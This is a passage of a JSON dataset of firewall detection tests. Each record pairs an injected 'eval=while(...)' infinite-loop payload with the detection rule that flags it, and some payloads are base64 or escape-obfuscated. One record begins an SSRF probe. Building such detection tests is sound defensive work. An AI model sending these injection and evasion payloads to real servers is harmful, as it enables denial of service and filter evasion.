"/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(%2BInfinity);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(-1);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(%2B1);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(new%20Date);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(this);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(String);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!true);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy with negation (false positive)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!!{});" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy with double negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!![]);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy with double negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!!\"\");" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy with double negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!!'');" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy with double negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!!``);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy with double negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!null)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!undefined)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!NaN)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while((true)))" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(true);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "Detect example DoS loop while(true) submitted as plaintext" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(true);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "Detect example DoS loop while(true) submitted as plaintext with JavaScript escape sequence obfuscation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=d2hpbGUodHJ1ZSk7Cg%3D%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "Detect example DoS loop while(true) submitted as plaintext that has been Base64 encoded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=XHUwMDc3XHUwMDY4aWxlKHRydWUpOwo%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "Detect example DoS loop while(true) submitted as plaintext with JavaScript escape sequence obfuscation that has been Base64 encoded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=d2hpbGUodHJ1ZSk7Cg%3D%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "Detect example DoS loop while(true) submitted as plaintext that has been Base64 encoded and then obfuscated with JavaScript escape sequences" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=data:text/plain;base64,SSBsb3ZlIFBIUAo=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 